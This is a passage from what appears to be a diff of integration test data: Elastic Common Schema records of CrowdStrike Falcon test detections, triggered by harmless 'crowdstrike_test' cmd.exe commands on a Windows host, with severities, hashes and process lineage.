- "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-15T10:30:48.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_informational\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760\",\"DataDomains\":\"Endpoint\",\"Description\":\"An informational level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_medium\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"d53f596e5ea7117ac18aae9f9bd8a481\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_low\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43450917603,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10307,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43455859437,\"ProcessStartTime\":1752575381,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575448000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021281,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "d53f596e5ea7117ac18aae9f9bd8a481", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "name": "dave-win10-3" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "cmd", - "crowdstrike_test_informational" - ], - "command_line": "cmd crowdstrike_test_informational", - "entity_id": "43455859437", - "executable": "cmd", - "name": "cmd.exe", - "parent": { - "args": [ - "cmd", - "crowdstrike_test_low" - ], - "command_line": "cmd crowdstrike_test_low", - "entity_id": "43450917603", - "executable": "cmd", - "pid": 43450917603 - }, - "pid": 43455859437, - "start": "2025-07-15T10:29:41.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682", - "d53f596e5ea7117ac18aae9f9bd8a481" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "name": "Suspicious Activity" - }, - "source": { - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Falcon Overwatch" - ] - }, - "technique": { - "name": [ - "Malicious Activity" - ] - } - }, - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2025-07-15T10:30:34.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776", - "DataDomains": "Endpoint", - "Description": "A low level detection was triggered on this process for testing purposes.", - "GrandparentCommandLine": "cmd crowdstrike_test_high", - "GrandparentImageFileName": "cmd.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "cmd.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10306", - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 30, - "SeverityName": "Low", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 2021280, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-15T10:30:34.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_low\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776\",\"DataDomains\":\"Endpoint\",\"Description\":\"A low level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_high\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"86920ea0b350c9a3e3752a6aba6e1143\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_medium\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43448891811,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10306,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43450917603,\"ProcessStartTime\":1752575368,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575434000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021280,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "86920ea0b350c9a3e3752a6aba6e1143", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "name": "dave-win10-3" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "cmd", - "crowdstrike_test_low" - ], - "command_line": "cmd crowdstrike_test_low", - "entity_id": "43450917603", - "executable": "cmd", - "name": "cmd.exe", - "parent": { - "args": [ - "cmd", - "crowdstrike_test_medium" - ], - "command_line": "cmd crowdstrike_test_medium", - "entity_id": "43448891811", - "executable": "cmd", - "pid": 43448891811 - }, - "pid": 43450917603, - "start": "2025-07-15T10:29:28.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", - "86920ea0b350c9a3e3752a6aba6e1143" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "name": "Suspicious Activity" - }, - "source": { - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Falcon Overwatch" - ] - }, - "technique": { - "name": [ - "Malicious Activity" - ] - } - }, - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2025-07-15T10:30:21.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824", - "DataDomains": "Endpoint", - "Description": "A high level detection was triggered on this process for testing purposes.", - "GrandparentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ", - "GrandparentImageFileName": "cmd.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "cmd.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10304", - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 70, - "SeverityName": "High", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 2021278, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-15T10:30:21.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_high\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824\",\"DataDomains\":\"Endpoint\",\"Description\":\"A high level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"099d5a3c2f87817751337a9cf8d6a70b\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_critical\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43444774922,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10304,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43447659975,\"ProcessStartTime\":1752575345,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":70,\"SeverityName\":\"High\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575421000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021278,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "099d5a3c2f87817751337a9cf8d6a70b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "name": "dave-win10-3" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "cmd", - "crowdstrike_test_high" - ], - "command_line": "cmd crowdstrike_test_high", - "entity_id": "43447659975", - "executable": "cmd", - "name": "cmd.exe", - "parent": { - "args": [ - "cmd", - "crowdstrike_test_critical" - ], - "command_line": "cmd crowdstrike_test_critical", - "entity_id": "43444774922", - "executable": "cmd", - "pid": 43444774922 - }, - "pid": 43447659975, - "start": "2025-07-15T10:29:05.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", - "099d5a3c2f87817751337a9cf8d6a70b" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "name": "Suspicious Activity" - }, - "source": { - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Falcon Overwatch" - ] - }, - "technique": { - "name": [ - "Malicious Activity" - ] - } - }, - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2025-07-15T10:30:10.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528", - "DataDomains": "Endpoint", - "Description": "A critical level detection was triggered on this process for testing purposes.", - "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", - "GrandparentImageFileName": "explorer.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "cmd.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10303", - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 90, - "SeverityName": "Critical", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 2021272, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-15T10:30:10.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_critical\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528\",\"DataDomains\":\"Endpoint\",\"Description\":\"A critical level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"bd5bfe63bc48507039f7e3afa5b01a70\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10303,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43444774922,\"ProcessStartTime\":1752575334,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":90,\"SeverityName\":\"Critical\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575410000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021272,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 99, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "bd5bfe63bc48507039f7e3afa5b01a70", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "name": "dave-win10-3" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "cmd", - "crowdstrike_test_critical" - ], - "command_line": "cmd crowdstrike_test_critical", - "entity_id": "43444774922", - "executable": "cmd", - "name": "cmd.exe", - "parent": { - "args": [ - "\"C:\\Windows\\system32\\cmd.exe\"" - ], - "command_line": "\"C:\\Windows\\system32\\cmd.exe\"", - "entity_id": "43425257674", - "executable": "\"C:\\Windows\\system32\\cmd.exe\"", - "pid": 43425257674 - }, - "pid": 43444774922, - "start": "2025-07-15T10:28:54.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", - "bd5bfe63bc48507039f7e3afa5b01a70" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "name": "Suspicious Activity" - }, - "source": { - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Falcon Overwatch" - ] - }, - "technique": { - "name": [ - "Malicious Activity" - ] - } - }, - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2025-07-15T10:30:04.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744", - "DataDomains": "Endpoint", - "Description": "A medium level detection was triggered on this process for testing purposes.", - "GrandparentCommandLine": "cmd crowdstrike_test_critical", - "GrandparentImageFileName": "cmd.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "cmd.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10305", - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 50, - "SeverityName": "Medium", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 2021265, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-15T10:30:04.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd 